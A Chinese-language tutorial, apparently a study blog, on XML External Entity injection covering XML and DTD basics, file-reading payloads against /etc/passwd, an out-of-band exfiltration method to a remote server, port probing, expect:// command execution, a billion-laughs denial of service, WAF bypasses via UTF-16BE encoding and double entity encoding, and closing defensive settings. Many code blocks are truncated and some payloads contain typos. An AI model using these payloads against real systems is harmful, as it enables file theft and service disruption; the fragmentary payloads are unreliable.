XXE学习
XML
XXE是基于XML的攻击,所以在学习XXE前需了解什么是XML。
简介
XML(Extensible Markup Language):与HTML类似,是一种标记语言,但与HTML不同的是,XML 被设计用来传输和存储数据,而HTML 被设计用来显示数据。XML 仅仅是纯文本,更重要的是,通过 XML 可以发明自己的标签,因为 XML 没有预定义的标签。
作用
把数据从 HTML 分离
通过 XML,数据能够存储在独立的 XML 文件中。这样就可以专注于使用 HTML 进行布局和显示,并确保修改底层数据不再需要对 HTML 进行任何的改变。
简化数据共享
XML 数据以纯文本格式进行存储,因此提供了一种独立于软件和硬件的数据存储方法。
这让创建不同应用程序可以共享的数据变得更加容易。
简化数据传输
通过XML,可以在不兼容的系统之间轻松的交换数据。
简化平台的变更
升级到新的系统(硬件或软件平台),总是非常费时的。必须转换大量的数据,不兼容的数据经常会丢失。
XML 数据以文本格式存储。这使得 XML 在不损失数据的情况下,更容易扩展或升级到新的操作系统、新应用程序或新的浏览器。
用于创建新的 Internet 语言
很多新的 Internet 语言是通过 XML 创建的:
其中的例子包括:
- XHTML - 最新的 HTML 版本
- WSDL - 用于描述可用的 web service
- WAP 和 WML - 用于手持设备的标记语言
- RSS - 用于 RSS feed 的语言
- RDF 和 OWL - 用于描述资源和本体
- SMIL - 用于描述针针对 web 的多媒体
结构
1 | //声明版本及编码 |
该 XML 文档包含了 John 给 George 的一张便签。
例:
上图表示下面的 XML 中的一本书:
1 | <bookstore> //根元素 |
元素
XML 元素必须遵循以下命名规则:
- 名称可以含字母、数字以及其他的字符
- 名称不能以数字或者标点符号开始
- 名称不能以字符 “xml”(或者 XML、Xml)开始
- 名称不能包含空格
可使用任何名称,没有保留的字词。
属性需要加引号
DTD
在XML中,一些字符拥有特殊意义,直接放入XML元素中,会发生错误,因为解析器会把它当作新元素的开始。所以需要用实体代替:
1 | 在 XML 中,有 5 个预定义的实体引用 |
XML文档有自己的一个格式规范,这个格式规范是由一个叫做DTD(document type definition)的东西控制的:
DTD 的声明方式分为两种:内部 DTD 和外部 DTD ,其区别就在于:对 XML 文档中的元素、属性和实体的 DTD 的声明是在 XML 文档内部引用还是引用外部的 DTD文件。
内部TDT:
1 | <?xml version="1.0"?> //声明xml版本 |
外部TDT:
通用实体
1
2
3
4
5
6
7<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY > #定义元素为ANY,即可以接受任何元素。
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> // 定义通用实体
<root>
<body>&xxe;</body> #定义一个外部实体
</root>&xxe用于引用,即引用后面的SYSTEM "file:///c:/test.dtd",而SYSTEM引用外部资源,文件并执行。除了 SYSTEM 关键字的引用方式,还有一种引用方式是使用 PUBLIC 引用公用 DTD 的方式:
1
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
参数实体
1
2
3<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd; //引用an-element,remote-dtd两个参数% 实体名(这里空格不能少)在 DTD 中定义,并且只能在 DTD 中使用 %实体名。同时。参数实体同样可引用外部实体。
XML外部实体注入
概念
XXE(XML External Entity)是指xml外部实体攻击漏洞。XML外部实体攻击是针对解析XML输入的应用程序的一种攻击。当包含对外部实体的引用的XML输入被弱配置XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
原理
由于 SYSTEM 标识符引用的实体能够访问本地或远程的内容的特性,攻击者可通过控制其内容获取本地或远程文件内容。
1 | SYSTEM file:///etc/passwd |
漏洞挖掘
判断漏洞是否存在最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞
常见可能会产生xxe漏洞的文件:
1 | dom.php # 示例:使用DOMDocument解析body |
漏洞利用
file_get_contents函数
1 |
|
file_get_contents函数读取了php://input传入的数据,但是传入的数据没有经过任何过滤,直接在loadXML函数中进行了调用并通过了echo函数输入$username的结果,这样就导致了XXE漏洞的产生。
读取文件
通过加载外部实体,利用file://、php://等伪协议读取本地文件
SVG格式(一种基于XML的图像文件格式,用于创建二维矢量图形)
1 | <?xml version="1.0" encoding="UTF-8"?> |
有回显:
用于读取php文件、文档。
直接外部实体声明
1
2
3
4
5
6
7
8
9<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="file:///etc/passwd"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>1
2
3
4
5<?xml versinotallow="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>引入外部DTD文档
1
2
3
4
5
6
7
8<?xml versinotallow="1.0"?>
<!DOCTYPE a SYSTEM "http://localhost/evil.dtd">
<abc>&b;</abc>
evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
//当然也可用参数实体
无回显:
利用参数实体:
1 | <!DOCTYPE convert [ |
原理:连续调用了三个参数实体 %remote;%int;%send;,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
内网探测
利用xxe漏洞进行内网探测,如果端口开启,请求返回的时间会很快,如果端口关闭请求返回的时间会很慢
探测22号端口是否开启:
1 | <?xml version="1.0"?> |
命令执行
利用xxe漏洞可以调用except://伪协议调用系统命令
1 | <?xml version="1.0"?> |
DDOS攻击
1 | <?xml version="1.0"?> |
这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。
绕过
文档中的额外空格
由于XXE通常在XML文档的开头,所以一些WAF为了避免处理整个文档,而只解析它的开头。但是,XML格式允许在格式化标记
属性时使用任意数量的空格,因此攻击者可以在<?xml?>或<!DOCTYPE>中插入额外的空格,从而绕过此类WAF。
过滤SYSTEM,PUBLIC关键字
字符编码绕过
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
而通过这些编码可以很容易地绕过WAF,因为通常正则表达式仅配置为但字符集。
UTF-16BE编码绕过关键字:
构造poc:
1 | <?xml version="1.0" encoding="utf-8"?> |
然后保存为xml文件:
再转为UTF-16BE编码:
1 | cat xxe.xml|iconv -f utf-8 -t utf-16be >xxe.8-16be.xml |
iconv -f utf-8 -t utf-16be:-f utf-8指定输入文件的编码格式是 UTF-8。-t utf-16be指定输出文件的编码格式是 UTF-16BE(大端字节序)。
发送:
1 | curl -X POST http://ip/ -H "Content-Type:application/xml;charset=UTF-16BE" --data-binary @xxe.8-16be.xml |
发送一个POST 请求,将 xxe.8-16be.xml 文件的内容以 UTF-16BE 编码格式通过 POST 请求发送到指定的 URL。
双重实体编码(html)绕过
1 | input_str = '<!ENTITY xxe SYSTEM "file:///flag" >' |
1 | <!DOCTYPE root [ |
这样我们转义后就是:
1 | <!DOCTYPE root [ |
当 XML 解析器遇到
%a;时,会将其替换为参数实体a的值,也就是<!ENTITY xxe SYSTEM "file:///flag" ">
过滤http
可以使用其他协议绕过,比如data://协议、file://协议加文件上传、php://filter协议加文件上传
file://协议加文件上传:
1 | <?xml version="1.0" ?> |
php://filter协议加文件上传
1 | <?xml version="1.0" ?> |
1 | <?xml version="1.0" ?> |
漏洞防御
禁用外部实体
1
2
3
4
5
6
7
8
9
10php:
libxml_disable_entity_loader(true);
java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))过滤和验证用户提交的XML数据
不允许XML中含有任何自己声明的DTD ,过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可













